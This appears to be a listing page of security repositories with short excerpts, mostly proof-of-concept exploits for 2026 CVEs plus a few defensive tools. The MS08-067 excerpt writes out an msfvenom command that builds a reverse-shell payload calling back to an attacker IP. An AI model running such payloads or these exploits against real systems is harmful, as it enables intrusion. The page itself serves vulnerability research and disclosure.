go-mal-pkgs

go-mal-pkgs A security tool to detect malicious Go packages by verifying checksums in go.sum against the original source code, bypassing the Go Module Proxy cache. Overview This tool helps protect against supply chain attacks that exploit the Go Module Proxy cache, as recently demonstrated by the...

MS08-067

MS08-067 | CVE-2008-4250 Reference: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN Shellcode Generation We will use msfvenom to genarate the shellcode. msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443 EXITFUNC=thread -b...

synodecrypt

SynoDecrypt A tool to decrypt all Synology encrypted archives SPK, PAT, .... The reverse engineering work is explained in our blog post. Installation pip install -r requirements.txt Usage You first have to extract the encryption keys and put them into a JSON file e.g. into keys.json. This JSON fi...

wix-kickstartx-challenge-writeup

Wix KickstartX Challenge 2026 — Full Writeup Result: 200/200 100% — Token: WKX-9245FA70-200 Date: March 24, 2026 1. Discovery & Reconnaissance The Challenge Announcement A LinkedIn post announced a special challenge for Wix KickstartX — a junior developer program. The rules: 30 minutes, one...

CRIME-poc

CRIME-poc CRIME attack : a compression oracle attacks CVE-2012-4929 discovered by Juliano Rizzo and Thai Duong; In a compression oracle attack the use of adaptive data compression on a mixture of chosen plaintext and unknown plaintext can result in content-sensitive changes in the length of the...

camel-pqc-tls

Post-Quantum TLS with Apache Camel This repository contains three examples demonstrating Post-Quantum Cryptography PQC TLS 1.3 handshakes with Apache Camel, using the X25519MLKEM768 hybrid key exchange. X25519MLKEM768 combines classical X25519 elliptic curve Diffie-Hellman with ML-KEM-768 , a...

CVE-2026-15013

CVE-2026-15013 — miniOrange SAML SSO = 5.4.3 Auth Bypass PoC Proof-of-concept for CVE-2026-15013 : unauthenticated authentication bypass via SAML Signature Algorithm Confusion HMAC-SHA1 in the miniOrange SAML Single Sign On – SSO Login WordPress plugin versions up to and including 5.4.3. Authoriz...

bkcrack

bkcrack Crack legacy zip encryption with Biham and Kocher's known plaintext attack. Overview A ZIP archive may contain many entries whose content can be compressed and/or encrypted. In particular, entries can be encrypted with a password-based symmetric encryption algorithm referred to as...

CVE-2026-65694-PoC

CVE-2026-65694 — Microweber CMS Unauthenticated Arbitrary File Read Proof-of-concept for CVE-2026-65694 , an unauthenticated path-traversal → arbitrary file read in Microweber CMS. An unauthenticated attacker can read any file the web-server user can access — the Laravel .env APPKEY, DB...

Discuz-X5.0-Authentication-Bypass-Exploit-Framework

Discuz! X5.0 Authentication Bypass Exploit Framework ⚡ CVE-2026-49952 | CVSS 9.1 Critical | Version 1.0.0 A professional penetration testing tool designed to identify and demonstrate the critical authentication bypass vulnerability in Discuz! X5.0. 📋 Table of Contents ⚠️ Disclaimer 🔍 Overview 🎯...

CVE-2026-41940

⚠️ CVE-2026-41940 - cPanel & WHM Authentication Bypass Critical Pre-Authentication Bypass in cPanel & WHM 📌 Overview CVE-2026-41940 is a critical authentication bypass vulnerability affecting cPanel & WHM and WP Squared. An unauthenticated remote attacker can completely bypass login and gain full...

CVE-2026-40175

🚨 CVE-2026-40175 - Critical Vulnerability in Axios Prototype Pollution Gadget → Remote Code Execution & Cloud Compromise 📢 Overview Axios — one of the most popular HTTP clients for JavaScript browser & Node.js — contains a critical vulnerability prior to version 1.15.0. A specific "gadget" attack...

CVE-2026-65761

CVE-2026-65761 — EasyStore Joomla Pre-Auth SQL Injection filtersortby Direction → ORDER BY Injection → Full DB Read Overview CVE-2026-65761 CVSS 9.3 Critical is an unauthenticated SQL injection in EasyStore for Joomla by JoomShaper, affecting versions ≤ 2.0.1. The filtersortby product listing...

CVE-2026-22243

CVE-2026-22243: EGroupware has SQL Injection in Nextmatch Filter Processing Overview Field| Details ---|--- CVE ID| CVE-2026-22243 Severity| HIGH Advisory| View Advisory Discovered by| Lukasz Rybak Affected Products egroupware/egroupware versions: = 26.0.20251208, 26.0.20260113 CWE Classification...

DirtyFrag-go

dirtyfrag-go Two bugs. One shell. No disk writes. Go port of dirtyfrag CVE-2026-43284 / CVE-2026-43500. How it works tl;dr The bug class is in the Linux kernel XFRM subsystem. When a file page is spliced into a pipe and then into an ESP-encrypted socket, the kernel decrypts the ESP payload in-pla...

CVE-2026-33693

CVE-2026-33693: SSRF via 0.0.0.0 Bypass in activitypub-federation-rust v4isinvalid CVSS 6.5 Moderate Keywords: SSRF, 0.0.0.0, IP validation bypass, activitypub-federation, Lemmy, Rust, ActivityPub Table of Contents Overview Vulnerability Details Technical Analysis Attack Chain Impact Remediation...

CVE-2026-29000

JWT/JWE Authentication Bypass PoC A Proof-of-Concept PoC script demonstrating an authentication bypass vulnerability using JSON Web Tokens JWT and JSON Web Encryption JWE. This tool exploits environments that improperly validate token algorithms by accepting unverified JWTs alg: none wrapped insi...

CVE-2026-21962

🚨 CVE-2026-21962 - Critical Authentication Bypass Vulnerability 🧾 Summary 🔥 A maximum severity 10.0 vulnerability enabling unauthenticated remote access to Oracle middleware systems. CVE ID : CVE-2026-21962 Severity : CRITICAL Published : 2026-01-20 Category : Authentication Bypass CWE : CWE-284...

CVE-2026-0300

🚨 CVE-2026-0300 - Critical Unauthenticated Remote Code Execution in Palo Alto Networks PAN-OS Buffer Overflow in User-ID™ Authentication Portal Captive Portal — Actively Exploited in the Wild 📋 Overview A critical buffer overflow vulnerability CWE-787 in the User-ID Authentication Portal of PAN-O...

CVE-2026-40776

CVE-2026-40776 Eventin wp-event-solution Broken Access Control Unauthenticated PII disclosure and order forgery in the Eventin WordPress plugin 10,000+ active installs. A public REST endpoint hands out a wprest nonce to any visitor, and three downstream permission callbacks accept that nonce as a...